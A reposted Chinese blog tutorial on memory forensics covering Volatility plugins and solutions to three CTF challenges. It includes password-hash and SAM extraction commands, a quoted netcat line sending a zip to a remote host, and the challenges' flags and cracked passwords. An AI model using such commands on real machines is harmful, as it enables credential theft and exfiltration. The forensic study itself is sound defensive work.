我是靠谱客的博主 忧心大叔,最近开发中收集的这篇文章主要介绍浅谈网络安全之内存取证,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

简介:
网络与信息技术的加速渗透和深度应用以及软件漏洞不断涌现,导致网络攻击和网络犯罪频发,造成了严重的网络安全威胁.计算机取证是打击计算机与网络犯罪的关键技术,其目的是将犯罪者留在计算机中的“攻击痕迹”提取出来,作为有效的诉讼证据提供给法庭,以便将犯罪嫌疑人绳之以法。
作为一种实时提取数字证据、对抗网络攻击、打击网络犯罪的有力武器,内存取证已成为信息安全领域研究者所共同关注的热点。

内存的获取方法:

  1. 基于硬件的内存获取
  2. 基于软件的内存获取

Windows操作系统平台支持内存获取的常见工具有:

DumpIt (早期版本名为Win32dd)
Belkasoft RAMCapturer
Magnet RAM Capture
WinEn
Winpmem
EnCase Imager
FTK Imager
取证大师
取证神探

Linux操作系统常见的内存获取工具:

dd (适合Linux早期版本)
LiME http://code.google.com/p/lime-forensics/
linpmem
Draugr http://code.google.com/p/draugr/
Volatilitux http://code.google.com/p/volatilitux/
Memfetch http://lcamtuf.coredump.cx/
Memdump

MacOSX操作系统内存获取工具有:

MacMemoryReader
osxpmem
Recon for Mac OSX
Blackbag MacQuisitio

得到内存之后就是最重要的一步,就是内存取证分析。

内存分析技术
Windows操作系统获取出的物理内存镜像需要使用专门的内存分析工具。常见的内存分析工具有Volatility、Rekall、Forensic Toolkit(FTK)、取证大师及取证神探等,可以解析出常见的基本信息,包括进程信息、网络连接、加载的DLL文件及注册表加载信息等。

在这里笔者使用的是volalitity取证工具(新版本的kail好像已经没有这个软件,需要自行下载)

常用插件:
imageinfo:显示目标镜像的摘要信息,知道镜像的操作系统后,就可以在 –profile 中带上对应的操作系统
pslist:该插件列举出系统进程,但它不能检测到隐藏或者解链的进程,psscan可以
psscan:可以找到先前已终止(不活动)的进程以及被rootkit隐藏或解链的进程
pstree:以树的形式查看进程列表,和pslist一样,也无法检测隐藏或解链的进程
mendump:提取出指定进程,常用foremost 来分离里面的文件
filescan:扫描所有的文件列表
hashdump:查看当前操作系统中的 password hash,例如 Windows 的 SAM 文件内容
svcscan:扫描 Windows 的服务
connscan:查看网络连接

Volatility语法规则

python2 vol.py --help //使用-h或者–help可以列举出所有可用的选项以及插件

python2 vol.py --info //–info可以打印出所有已经注册的对象(插件)

Profiles对于windows的内存取证来说至关重要。

Profiles(配置文件)

profile是特定操作系统版本以及硬件体系结构(x86,x64,ARM)中VTypes,共用体,对象类型的集合.除了这些组件以外,profile还包括如下:

元数据:操作系统的名称(例如:”windows”,”mac”,”linux”),内核版本,以及编译号. 
系统调用信息:索引以及系统调用的名称 
常量值:全局变量-在某些操作系统中能够在硬编码的地址处找到的全局变量 
系统映射:关键全局变量和函数的地址(仅限Linux和Mac)

每个profile(配置文件)有个一个唯一的名称,通常是由操作系统的名称,版本,服务包,系统结构等信息组成.例如:Win7SP1x64是64位的Windows 7 SP1系统配置文件的名称。

常规命令格式

python2   vol.py  -f  <文件名> --profile=<配置文件>
<插件>
[插件参数]

栗子:

 python vol.py -f lemon.raw --profile=Win7SP1x86 volshell

但是--profile如何确定配置文件呢?

如果我们不指定–profile这个选项的话,默认这个选项为WinXPSP2x86.

我们可以使用imageinfo插件来猜测dump文件的profile值.

python2 vol.py -f lemon.raw imageinfo

我们可以注意到这里有多个profile值可选.因为这些操作系统的很多特性都是类似的.imageinfo这个插件猜测profile值的功能是基于kdbgscan这个插件的功能来实现的.而kdbgscan这个插件是通过查找分析内核调试器数据块(_KDDEBUGGER_DATA64)的特征来猜测profile值的。

调试器数据结构位于NT内核模块中(nt!KdDebuggerDataBlock).它包含一个编译字符串,比如:3790.srv03_sp2_rtm.070216-1710,数字值指明了目标操作系统的主,次版本号以及服务包号。

kdbgscan插件扫描dump文件的profile值

可以看到有多个结果,通常来说第一个结果是正确的.imageinfo,kdbgscan这两个插件仅适用于Windows系统的内存dump文件.而Linux,Mac确定正确的profile值有其他的方法.

现在我们就可以指定profile这个选项的值了.

python2 vol.py -f 1emon.raw --profile=Win7SP1x86_23418
volshell


volshell这个插件用于进入Volatility专属的shell.在该shell中可以利用dt(“内核关键数据结构名称”)命令来查看操作系统内核关键数据结构的定义

列举进程

python2 vol.py -f 1emon.raw --profile=Win7SP1x86_23418
pslist


开始时间进程数,占用进程名称.但是pslist这个命令无法显示出隐藏的进程。

查看当前显示的notepad文本python2 vol.py -f file.raw --profile=WinXPSP2x86 notepad
进程里面可能会隐藏flag等关键信息,可以使用以下命令查看dumpstrings -e l 252.dmp | grep flag
-e的参数为编码方式,其中l为16-bit编码
扫描所有的文件列表(常常结合grep)python2 vol.py -f file.raw --profile=WinXPSP2x86 filescan
根据offset提取出文件python2 vol.py -f file.raw --profile=WinXPSP2x86 dumpfiles -D . -Q 0x…..
扫描 Windows 的服务python2 vol.py -f file.raw --profile=WinXPSP2x86 svcscan
查看网络连接python2 vol.py -f file.raw --profile=WinXPSP2x86 connscan
查看命令行上的操作python2 vol.py -f file.raw --profile=WinXPSP2x86 cmdscan
根据pid dump出相应的进程python2 vol.py -f file.raw --profile=WinXPSP2x86 memdump -p 2580 -D 目录 //-p的参数为进程ID
-D的参数为保存文件的路径
查看网络通讯连接python2 vol.py -f file.raw --profile=WinXPSP2x86 netscan
查看最后关机时间python2 vol.py -f file.raw --profile=WinXPSP2x86 shutdowntime
查看Windows帐户hashpython2 vol.py -f file.raw --profile=WinXPSP2x86 hashdump

进程里面可能会隐藏flag等关键信息,可以使用以下命令查看dump

strings -e l 252.dmp | grep flag //-e的参数为编码方式,其中l为16-bit编码

列举注册表
volatility -f 1.raw --profile=Win7SP1x86 hivelist

导出注册表volatility -f 1.raw --profile=Win7SP1x86 hivedump -o 0x93fc41e8(注册表的 virtual 地址)

获取浏览器浏览历史
volatility -f 1.raw --profile=Win7SP1x86 iehistory

扫描文件
volatility -f 1.raw --profile=Win7SP1x86 filescan | grep flag //filescan会扫描内存中所有文件

如果要提取的话,使用dumpfiles提取文件volatility -f 1.raw --profile=Win7SP1x86 dumpfiles -Q 0x000000003e71e608 --dump-dir=./
-Q的参数为 内存地址
--dump-dir的参数为导出文件的目录

列举用户及密码
volatility -f 1.raw --profile=Win7SP1x86 printkey -K "SAMDomainsAccountUsersNames"

获取最后登陆系统的用户

volatility -f 1.raw --profile=Win7SP1x86 printkey -K "SOFTWAREMicrosoftWindows NTCurrentVersionWinlogon"

上面的命令就不详细的操作了。

下面开始做一些题,以练促学。

V&N 2020 公开赛 内存取证

下载raw文件,拉进kail

得到镜像信息。

查看进程

有几个可疑的进程

Offset(V)
Name
PID
PPID
Thds
Hnds
Sess
Wow64 Start
Exit
---------- -------------------- ------ ------ ------ -------- ------ ------ ------------------------------ ------------------------------
0x83c0ad40 TrueCrypt.exe
3364
3188
7
388
1
0 2020-02-18 19:52:44 UTC+0000
0x837f5d40 notepad.exe
3552
1964
2
61
1
0 2020-02-18 19:53:07 UTC+0000
0x82a7e568 iexplore.exe
3640
1964
16
468
1
0 2020-02-18 19:53:29 UTC+0000
0x847c8030 iexplore.exe
3696
3640
25
610
1
0 2020-02-18 19:53:29 UTC+0000
0x848a7030 mspaint.exe
2648
1964
18
383
1
0 2020-02-18 19:54:01 UTC+0000
0x83922030 DumpIt.exe
1500
1964
2
39
1
0 2020-02-18 19:56:22 UTC+0000

TrueCrypt 一个磁盘软件
notepad 万能的记事本
iexplore 浏览器
mspaint 画图
DumpIt 内存读取工具

python2 vol.py -f mem.raw --profile=Win7SP1x64 memdump -p 2648 -D ./

换个思维想,谁又会无端打开画图工具,我们先把可疑的进程都dump下来。

又查看了浏览器的历史记录

得到一个云盘链接,应该是那个VOL的下载链接吧!

在前面我们讲画图程序dump下来了,改一下后缀2648.dmp为2648.data。

然后用gimp配合使用。

得到一个字符串1YxfCQ6goYBD6Q

然后用命令对记事本的内容进行dump

python2 vol.py -f mem.raw --profile=Win7SP1x86_23418 editbox

得到了云盘链接和提取码,下载是个VOL文件。

接下来用工具EFDD

第一步
第二步
第三步

第四步
第五步
第四步


已经成功挂载F盘了

访问F盘

得到了一串字符。

下一步就是使用TrueCrypt

将刚刚key里的字符串输入进去,挂载成功。

画图得到的字符串就是密码

得到了flag。、

不得不说套娃真的是服了。

easy_dump

查看一下信息。

列出进程。

查看一下有没有可疑的进程,然后dump下来。

这里我将记事本dump下来。

python2 vol.py -f easy_dump.img --profile=Win7SP1x64 memdump -p 2616 -D ./ 

然后再用命令:strings -e l 2616.dmp | grep "flag"

去2616里找flag。

flag没有但是有奇怪的照片。

python2 vol.py -f easy_dump.img --profile=Win7SP1x64 filescan | grep "jpg"

去找jpg图片

使用命令:python2 vol.py -f easy_dump.img --profile=Win7SP1x64 dumpfiles -Q 0x000000002408c460 -D ./

将图片dump下载过来。

打开也没什么东西。

binwalk看一下发现里面还有一个zip文件。

那麽就用foremost将其分离出来。

分离出来还是打不开。

再次使用foremost却没有成功,试了一下binwalk分离,成功的得到了hints.txt文件。

类似于坐标。

import matplotlib.pyplot as plt
import numpy as np
x = []
y = []
with open('hint.txt','r') as f:
datas = f.readlines()
for data in datas:
arr = data.split(' ')
x.append(int(arr[0]))
y.append(int(arr[1]))
plt.plot(x,y,'ks',ms=1)
plt.show()

脚本转换。

手机扫了以下,主要内容key:aeolus,但是他把加密文件删除了。

这里使用testdisk这个工具(kali自带)来恢复被删除的文件。

输入:testdisk xxx 即可进入软件内部操作
Proceed:继续
Quit:退出,关闭

[ Analyse ] 分析正确的分区结构并找到丢失的分区表
[ Advanced ] 文件系统工具
[ Geometry ] 更改硬盘类型
[ Options ] 修改高级选项
[ Quit ] 返回到硬盘检测

[ Type ] :改变文件系统的类型,这种修改并不会真正改变硬盘上的真正格式。
[Superblock] :列出超级块,这是文件系统的基本元数据。
[ List ] :列出所有文件,并复制(恢复)出来
[Image Creation] :对当前分区创建镜像文件
[ Quit ]:退出,返回

红色文件就表示已经删除的文件。当然你也可以选择一个红色的目录,表示恢复整个目录。

最终找到了被删除的文件

选择红色文件,小写c选择导出路径。

成功导出。

维吉尼亚解密字符串yise!dmsx_tthv_arr_didvi就可以得到flag。

内存取证三项CTF


题目说明了是取证题。

python2 vol.py -f 1.raw imageinfo
//查看配置信息

第一问写的什么,那就打开记事本

python2 vol.py -f 1.raw --profile=WinXPSP2x86 notepad

得到文本:666C61677B57336C6563306D655F376F5F466F72336E356963737D

观察只有0-9,字母最多知道F,十六进制(base16),可能是base16

第一问解决。

小白的密码,我们可以使用hashdump查看

python2 vol.py -f 1.raw --profile=WinXPSP2x86 hashdump

对:1e581aafa474dfadfdf83fc31e4fd4ea解密。

flag{19950101}

机密文件是什么?

小白的电脑给小黑的电脑发送了文件,肯定会建立连接。

python2 vol.py -f 1.raw --profile=WinXPSP2x86 connscan 

本机192.168.57.21的1045与远程主机192.168.57.14的2333端口建立了连接,进程120.

python2 vol.py -f 1.raw --profile=WinXPSP2x86 pslist

列出进程。

cmd进程也有

python2 vol.py -f 1.raw --profile=WinXPSP2x86 cmdscan
//提取cmd命令记录

第一个命令就有问题了。

ipconfig
cd C:Program FilesNetcat
nc 192.168.57.14 2333 < P@ssW0rd_is_y0ur_bir7hd4y.zip

发送了一个压缩包。

python2 vol.py -f 1.raw --profile=WinXPSP2x86 memdump -p 120 -D ./

使用命令dump下来,并用binwalk 分析一下

里面还有个txt文本

还有六个压缩包。

进output文件夹里 ls

解压第一个文件时提示需要密码

用刚刚的弱口令出生年月就可以解压得到P@ssW0rd_is_y0ur_bir7hd4y.txt

flag{Thi5_Is_s3cr3t!}

内存取证就结束了,以后加油!

最后

以上就是忧心大叔为你收集整理的浅谈网络安全之内存取证的全部内容,希望文章能够帮你解决浅谈网络安全之内存取证所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(44)

评论列表共有 0 条评论

立即
投稿
返回
顶部